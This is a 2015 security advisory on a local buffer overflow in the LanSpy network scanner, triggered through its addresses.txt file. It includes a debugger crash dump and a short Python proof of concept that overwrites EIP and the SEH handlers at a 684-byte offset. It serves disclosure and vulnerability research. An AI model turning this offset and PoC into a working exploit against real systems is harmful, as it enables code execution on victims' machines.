LanSpy 2.0.0.155 Buffer Overflow

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/AS-LANSPY-BUFFER-OVERFLOW-10052015.txt  
  
  
  
Vendor:  
================================  
www.lantricks.com  
  
  
  
Product:  
================================  
LanSpy.exe  
  
LanSpy is network security and port scanner, which allows getting different  
information about computer:  
Domain and NetBios names, MAC address, Server information, Domain and  
Domain controller etc....  
  
  
Vulnerability Type:  
===================  
Buffer Overflow  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
======================  
  
LanSpy.exe uses an 'addresses.txt' plain text file which lives under the  
main LanSpy  
directory the file is used to load scanned IPs or URLs  
  
e.g.  
  
127.0.0.1  
  
replace addresses.txt file with our malicious one, the buffer overflow  
payload must  
be the very first entry in the text file. Next, run LanSpy.exe and click  
green arrow  
or use keyboard press 'F3' to start. Then KABOOM!... program crashez and we  
will control  
EIP at 684 bytes also overwrite both the NSEH & SEH exception handler  
pointers...  
  
Quick stack dump...  
  
(1274.19c4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
  
eax=0264fb41 ebx=00418d7c ecx=0264fe84 edx=00000000 esi=00000000  
edi=00000000  
eip=41414141 esp=0264fe8c ebp=41414141 iopl=0 nv up ei pl zr na pe  
nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b  
efl=00010246  
41414141 ?? ???  
0:001> g  
  
(1274.19c4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=00000000 ecx=52525252 edx=7714b4ad esi=00000000  
edi=00000000  
eip=52525252 esp=0264f8f0 ebp=0264f910 iopl=0 nv up ei pl zr na pe  
nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b  
efl=00010246  
52525252 ?? ???  
0:001> !exchain  
0264f904: ntdll!LdrRemoveLoadAsDataTable+d64 (7714b4ad)  
0264fe8c: 52525252  
Invalid exception stack at 42424242  
  
  
  
POC code(s):  
=============  
  
import os  
  
#LanSpy.exe buffer overflow POC  
#by hyp3rlinx  
#hyp3rlinx.altervista.org  
#=============================  
  
#LanSpy.exe uses an 'addresses.txt' text file  
#which lives under the LanSpy directory  
#the addresses.txt file is used to load scanned IPs or URLs  
  
#control EIP at 684 bytes... also overwrite  
#both the NSEH & SEH exception handler pointers  
#-----------------------------------------------  
  
payload="A"*684+"BBBB"+"RRRR" #<------- KABOOOOOOOOOOOOOOOOOOM!  
  
file=open("C:\\Program Files (x86)\\LanTricks\\LanSpy\\addresses.txt", "w")  
file.write(payload)  
file.close()  
  
  
  
  
Public Disclosure:  
===================  
October 5, 2015  
  
  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`